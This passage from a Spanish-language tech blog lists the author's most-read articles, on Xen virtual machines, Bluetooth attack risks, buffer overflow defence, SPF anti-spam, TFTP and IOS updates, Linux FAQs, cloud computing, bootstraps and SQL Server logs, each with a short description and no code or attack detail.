2. Crear máquina virtual en CentOS usando Xen. Sin dudas el artículo que ha resultado más útil para los navegantes, siendo el más leído del blog. Este artículo cubre todos los pasos y aclara todas las dificultades sobre cómo crear una máquina virtual en Xen. Si bien existen varias herramientas actualmente para realizar este trabajo, nunca hay algo más efectivo que hacer todo desde la consola. En el artículo se suman todas las experiencias que viví luego de horas de investigación y pruebas.

3. Hacking Bluetooth: ni tan fácil, ni tan imposible. Bluetooth está presente en prácticamente todo cacharro que llevamos encima, por ello me pareció necesario conocer los riesgos que corremos, y qué herramientas existen actualmente para realizar ataques. No fue tan fácil encontrar información realmente útil, así que recopilé lo mejor de muchas horas de investigación.

4. Buffer Overflow, un asesino en serie y Evitando que un programa explote, técnicas para detectar buffer overflows. Artículo partido en dos partes por su extensión, es uno de los que considero must read. Pasaron los años pero el problema del buffer overflow persiste y va a seguir existiendo, siendo de los problemas más graves que afecta nuestros sistemas. Considero necesario saber cómo funciona y con qué contamos para defendernos. En conjunto con la serie XSS, cuentan con la mayor investigación que he realizado para este blog.

5. sex + viagra + porn + drugs = SPAM! y Dando pelea al SPAM: Sender Policy Framework (SPF). El SPAM no da tregua, varios reportes indican que durante 2009 representó el 95% del total de mails enviados, por eso es necesario conocer las técnicas anti-spamming y utilizarlas de la mejor manera posible.

6. Server TFTP + Actualización IOS. Otro que considero de extrema utilidad. Si trabajan con redes, en algún momento se toparán con TFTP y probablemente necesiten actualizar IOS, y ahí se acordarán de éste artículo.

7. FAQ GNU/Linux y Programas en GNU/Linux. Luego de leer las mismas preguntas una y otra vez en el foro linuxespanol.com se me ocurrió realizar este FAQ. En conjunto con otros muchos FAQs de linux que andan dando vueltas, lo considero como una excelente introducción para quienes deseen utilizar este sistema operativo. A su vez, todo el que se inicia en Linux necesita conocer qué programas utilizar para realizar las tareas que necesitan, y por eso armé un compilado con nombres de programa y utilidad.

8. Cloud Computing: dónde mierd* están mis datos???. Durante el año pasado se le dio muchisima importancia a una cosa, el Cloud Computing. Actualmente no se deja de hablar de él, sus beneficios y los riesgos de seguridad que representan. Por esto creo que es interesante tener aunque sea una mínima idea de lo que trata y los servicios que ofrece y por eso planteo la lectura de este artículo.

9. Construyendo un Bootstrap. El bajo nivel es uno de mis temas favoritos y no muy tratado actualmente en la era del alto nivel. Es por eso que ésta investigación sobre cómo crear un bootstrap me resultó tan interesante, porque se aprende qué hay debajo y cómo se programa.

10. Tunear logs de SQL Server. Los amantes de Linux tal vez me odien por incluirlo, pero al encontrar tan poca información concerniente al manejo de logs en SQL Server, creo que éste artículo es una gran gran ayuda para comprender el mundo de las BD de MS.